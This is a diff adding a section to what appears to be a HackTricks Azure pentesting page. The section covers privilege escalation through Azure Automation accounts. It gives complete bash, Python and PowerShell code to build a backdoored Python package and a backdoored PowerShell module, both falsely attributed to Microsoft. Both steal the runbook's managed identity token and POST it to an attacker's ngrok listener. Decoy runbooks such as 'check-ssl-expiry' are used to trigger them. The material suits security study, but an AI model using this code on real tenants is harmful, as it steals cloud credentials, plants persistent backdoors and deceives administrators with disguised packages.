@@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges.
317317{{#include ../../../banners/hacktricks-training.md}}
318318
319319
320+ ### ` Microsoft.Automation/automationAccounts/python3Packages/write ` , ` Microsoft.Automation/automationAccounts/runbooks/write ` , ` Microsoft.Automation/automationAccounts/runbooks/publish/action ` , ` Microsoft.Automation/automationAccounts/jobs/write `
321+
322+ #### Automation - Malicious Python Packages
323+
324+ Automation accounts support ** custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the ** same identity and permissions** as the runbook itself (like a system managed identity).
325+
326+ Having the ability to write to the automation account's module store, you can ** backdoor a package** and get ** persistent code execution** every time a runbook imports that module.
327+
328+ Additionally, this same process can be done for ** custom runtime environments** and reassign an existing runbook to it.
329+
330+ > [ !TIP]
331+ > This technique does not require modifying any existing runbook code. Once the malicious package is imported, ** any runbook** that imports it will execute your payload automatically.
332+
333+ This command will disclose any python packages that exist:
334+
335+ ``` bash
336+ az rest --method GET \
337+ --url " https://management.azure.com/subscriptions/$SUBSCRIPTION_ID /resourceGroups/$RESOURCE_GROUP /providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT /python3Packages?api-version=2023-11-01" \
338+ --query " value[].{Name:name, Version:properties.version}" -o table
339+ ```
340+
341+ Create the setup to compile the python package:
342+
343+ ``` bash
344+ cat > setup.py << 'EOF '
345+ import setuptools
346+
347+ with open("README.md", "r") as fh:
348+ long_description = fh.read()
349+
350+ setuptools.setup(
351+ name="az_log_helper",
352+ version="1.0.2",
353+ author="Azure Utilities",
354+ author_email="azutils@microsoft.com",
355+ description="Helper utilities for Azure Log Analytics integration.",
356+ long_description=long_description,
357+ long_description_content_type="text/markdown",
358+ packages=setuptools.find_packages(),
359+ python_requires='>=3.8',
360+ )
361+ EOF
362+ ```
363+
364+ Create the ` __init__.py ` to import everything from az\_ log\_ helper and create the python script to ** exfiltrate a managed identity token** to your listener:
365+
366+ ``` bash
367+ mkdir -p az_log_helper
368+ cat > az_log_helper/__init__.py << 'EOF '
369+ from .az_log_helper import *
370+ EOF
371+
372+ cat > az_log_helper/az_log_helper.py << 'EOF '
373+ import os
374+ import requests
375+ import json
376+
377+ endpoint_url = "https://<YOUR-NGROK-URL>/"
378+ identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
379+
380+ if identity_endpoint:
381+ params = {
382+ 'api-version': '2018-02-01',
383+ 'resource': 'https://management.azure.com/'
384+ }
385+ headers = {
386+ 'Metadata': 'true'
387+ }
388+
389+ try:
390+ response = requests.get(identity_endpoint, params=params, headers=headers)
391+ response.raise_for_status()
392+ token = response.json()
393+ requests.post(endpoint_url,
394+ headers={'Content-Type': 'application/json'},
395+ data=json.dumps({'token': token}))
396+ except requests.exceptions.RequestException:
397+ pass
398+ EOF
399+ ```
400+
401+ Build the python package so it can be uploaded to Azure:
402+
403+ ``` bash
404+ pip install wheel --break-system-packages 2> /dev/null
405+ python3 setup.py bdist_wheel
406+ ```
407+
408+ Provision a new runbook to execute the python package at runtime:
409+
410+ ``` bash
411+ NEW_RUNBOOK_PY=" check-ssl-expiry"
412+
413+ az rest --method PUT \
414+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /runbooks/${NEW_RUNBOOK_PY} ?api-version=2023-11-01" \
415+ --body " {
416+ \" location\" : \" centralus\" ,
417+ \" properties\" : {
418+ \" runbookType\" : \" Python3\" ,
419+ \" description\" : \" SSL certificate expiry checker\" ,
420+ \" logProgress\" : false,
421+ \" logVerbose\" : false
422+ }
423+ }"
424+ ```
425+
426+ Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook:
427+
428+ ``` bash
429+ cat > /tmp/py_runbook.py << 'EOF '
430+ import az_log_helper
431+ print("Log collection check complete.")
432+ EOF
433+
434+ az rest --method PUT \
435+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /runbooks/${NEW_RUNBOOK_PY} /draft/content?api-version=2023-11-01" \
436+ --headers " Content-Type=text/powershell" \
437+ --body @/tmp/py_runbook.py
438+ ```
439+
440+ Publish the runbook:
441+
442+ ``` bash
443+ az automation runbook publish \
444+ --resource-group $RESOURCE_GROUP \
445+ --automation-account-name $AUTOMATION_ACCOUNT \
446+ --name $NEW_RUNBOOK_PY
447+ ```
448+
449+ Fire the runbook:
450+
451+ ``` bash
452+ az rest --method PUT \
453+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /jobs/$( uuidgen) ?api-version=2023-11-01" \
454+ --body " {
455+ \" properties\" : {
456+ \" runbook\" : { \" name\" : \" ${NEW_RUNBOOK_PY} \" }
457+ }
458+ }"
459+ ```
460+
461+ Once the runbook executes, the ** managed identity token** is exfiltrated to your listener.
462+
463+ ### ` Microsoft.Automation/automationAccounts/modules/write ` , ` Microsoft.Automation/automationAccounts/runbooks/write ` , ` Microsoft.Automation/automationAccounts/runbooks/publish/action ` , ` Microsoft.Automation/automationAccounts/jobs/write `
464+
465+ #### Automation - Malicious Modules
466+
467+ A minimal PowerShell module is just ** two file types** : a ` .psd1 ` manifest and a ` .psm1 ` containing the code. The ` .psd1 ` and ` .psm1 ` filenames ** must match the name of the ` .zip ` ** exactly.
468+
469+ > [ !TIP]
470+ > This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the ** same privileges** as the runbook's managed identity.
471+
472+ The following command lists existing modules:
473+
474+ ``` bash
475+ az rest --method GET \
476+ --url " https://management.azure.com/subscriptions/$SUBSCRIPTION_ID /resourceGroups/$RESOURCE_GROUP /providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT /modules?api-version=2023-11-01" \
477+ --query " value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
478+ ```
479+
480+ Create the module manifest (` .psd1 ` ):
481+
482+ ``` bash
483+ cat > < MODULE_NAME> .psd1 << 'EOF '
484+ @{
485+ RootModule = '<MODULE_NAME>.psm1'
486+ ModuleVersion = '2.1.0'
487+ GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
488+ Author = 'Microsoft Corporation'
489+ CompanyName = 'Microsoft'
490+ Copyright = '(c) Microsoft Corporation. All rights reserved.'
491+ FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
492+ CmdletsToExport = @()
493+ VariablesToExport = @()
494+ AliasesToExport = @()
495+ }
496+ EOF
497+ ```
498+
499+ Create the module code (` .psm1 ` ) with the ** token exfiltration payload** :
500+
501+ ``` bash
502+ cat > < MODULE_NAME> .psm1 << 'EOF '
503+ function Invoke-AzNetworkDiagnostic {
504+ $SuppressAzurePowerShellBreakingChangeWarnings = $true
505+ Connect-AzAccount -Identity | Out-Null
506+ $token = Get-AzAccessToken | ConvertTo-Json
507+ Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
508+ }
509+
510+ Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
511+ EOF
512+ ```
513+
514+ Zip the module and upload it via the Azure portal. ** The ` .zip ` name must match the ` .psd1 ` and ` .psm1 ` filenames exactly.**
515+
516+ ``` bash
517+ zip < MODULE_NAME> .zip < MODULE_NAME> .psd1 < MODULE_NAME> .psm1
518+ ```
519+
520+ After uploading, verify the module is successfully imported:
521+
522+ ``` bash
523+ az rest --method GET \
524+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
525+ --query " properties.provisioningState"
526+
527+ # Expected output: "Succeeded"
528+ ```
529+
530+ Get the location of the automation account and create a new runbook that imports the malicious module:
531+
532+ ``` bash
533+ LOCATION=$( az automation account show \
534+ --resource-group $RESOURCE_GROUP \
535+ --name $AUTOMATION_ACCOUNT \
536+ --query location -o tsv)
537+
538+ NEW_RUNBOOK=" diagnostics-health-check"
539+
540+ az rest --method PUT \
541+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /runbooks/${NEW_RUNBOOK} ?api-version=2023-11-01" \
542+ --body " {
543+ \" location\" : \" ${LOCATION} \" ,
544+ \" properties\" : {
545+ \" runbookType\" : \" PowerShell72\" ,
546+ \" description\" : \" Network diagnostics health check\" ,
547+ \" logProgress\" : false,
548+ \" logVerbose\" : false
549+ }
550+ }"
551+ ```
552+
553+ Upload runbook content that calls the backdoored module function:
554+
555+ ``` bash
556+ cat > /tmp/ps_runbook.ps1 << 'EOF '
557+ Import-Module <MODULE_NAME>
558+ Invoke-AzNetworkDiagnostic
559+ Write-Output "Diagnostics complete."
560+ EOF
561+
562+ az rest --method PUT \
563+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /runbooks/${NEW_RUNBOOK} /draft/content?api-version=2023-11-01" \
564+ --headers " Content-Type=text/powershell" \
565+ --body @/tmp/ps_runbook.ps1
566+ ```
567+
568+ Publish the runbook and fire a job:
569+
570+ ``` bash
571+ az automation runbook publish \
572+ --resource-group $RESOURCE_GROUP \
573+ --automation-account-name $AUTOMATION_ACCOUNT \
574+ --name $NEW_RUNBOOK
575+
576+ az rest --method PUT \
577+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /jobs/$( uuidgen) ?api-version=2023-11-01" \
578+ --body " {
579+ \" properties\" : {
580+ \" runbook\" : { \" name\" : \" ${NEW_RUNBOOK} \" }
581+ }
582+ }"
583+ ```
584+
585+ Within a minute the ** managed identity token** is exfiltrated to your listener.
586+
587+ For troubleshooting, obtain the job ID and check the job streams for errors:
588+
589+ ``` bash
590+ # Get job ID from the job creation output, or list recent jobs
591+ JOB_ID=$( az rest --method PUT \
592+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /jobs/$( uuidgen) ?api-version=2023-11-01" \
593+ --body " {
594+ \" properties\" : {
595+ \" runbook\" : { \" name\" : \" ${NEW_RUNBOOK} \" }
596+ }
597+ }" --query " name" -o tsv)
598+
599+ # Check job output streams
600+ az rest --method GET \
601+ --url " https://management.azure.com/subscriptions/${SUBSCRIPTION_ID} /resourceGroups/${RESOURCE_GROUP} /providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT} /jobs/${JOB_ID} /streams?api-version=2023-11-01"
602+ ```
603+
0 commit comments